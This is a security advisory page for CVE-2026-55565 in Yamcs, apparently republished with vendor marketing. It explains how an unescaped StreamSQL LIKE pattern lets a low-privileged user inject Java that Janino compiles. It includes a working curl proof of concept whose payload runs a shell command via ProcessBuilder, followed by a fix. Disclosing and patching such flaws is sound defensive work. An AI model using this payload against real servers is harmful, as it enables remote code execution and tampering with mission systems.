Summary
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL LIKE pattern compiled by Janino (LikeExpression)
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSqland:streamSql(privilegeControlArchiving)POST /api/archive/{instance}/tables/{table}:readRowsvia thequeryfield (privilegeReadTables)GET /api/archive/{instance}/events?q=and the event export/stream variants (privilegeReadEvents)listActivitiesq(privilegeReadActivities)
The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Details
- Sink:
Expression#getCompiledExpressioncompiles generated source withSimpleCompiler.cook(...)(Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection:
LikeExpression#fillCode_getValueReturn(LikeExpression.java:26) appendslikeClause.patternraw intoUtils.like(<col>, "<pattern>"). The safe siblingValueExpressionescapes literals viaescapeJavaString()(ValueExpression.java:82-85); a review of all 35 streamsql code-generators foundLikeExpressionto be the only unescaped one. - Grammar:
S_STRING = "'" (~["'"])* "'"(StreamSql.jj:222) allows";getNonEscapedString(StreamSql.jj:36) does not escape"or\. - Reachability:
TableApi#executeSql(TableApi.java:399) checks onlyControlArchiving, then passes the raw statement toydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can callRuntime/ProcessBuilder.:streamSql(TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just
executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound?argument (nextArgAsString->likeClause.pattern), so any endpoint building... LIKE ?with attacker input also reaches it:POST .../tables/{table}:readRows(TableApi.java:276, privilege ReadTables): thequeryandcolsrequest fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q=(listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents:body.message like ?with"%"+q+"%". Verified RCE.listActivities(ActivitiesApi.java:86/113), privilege ReadActivities:detail like ?with"%"+q+"%".ReadTables/ReadEvents/ReadActivitiesare routine read-only permissions. The singleescapeJavaStringfix below closes all of these (one sink). The rawreadRowsWHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validatecols, do not accept a free-formqueryatReadTables).
Proof of Concept
Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned # -> uid=...(...)
A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Impact
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-55565 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.13.2, 5.12.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");
Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.
Frequently Asked Questions
- What is CVE-2026-55565? CVE-2026-55565 is a critical-severity code injection vulnerability in org.yamcs:yamcs-core (maven), affecting versions >= 5.13.0, <= 5.13.1. It is fixed in 5.13.2, 5.12.8. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-55565? CVE-2026-55565 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of org.yamcs:yamcs-core are affected by CVE-2026-55565? org.yamcs:yamcs-core (maven) versions >= 5.13.0, <= 5.13.1 is affected.
- Is there a fix for CVE-2026-55565? Yes. CVE-2026-55565 is fixed in 5.13.2, 5.12.8. Upgrade to this version or later.
- Is CVE-2026-55565 exploitable, and should I be worried? Whether CVE-2026-55565 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55565 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55565?
- Upgrade
org.yamcs:yamcs-coreto 5.13.2 or later - Upgrade
org.yamcs:yamcs-coreto 5.12.8 or later
- Upgrade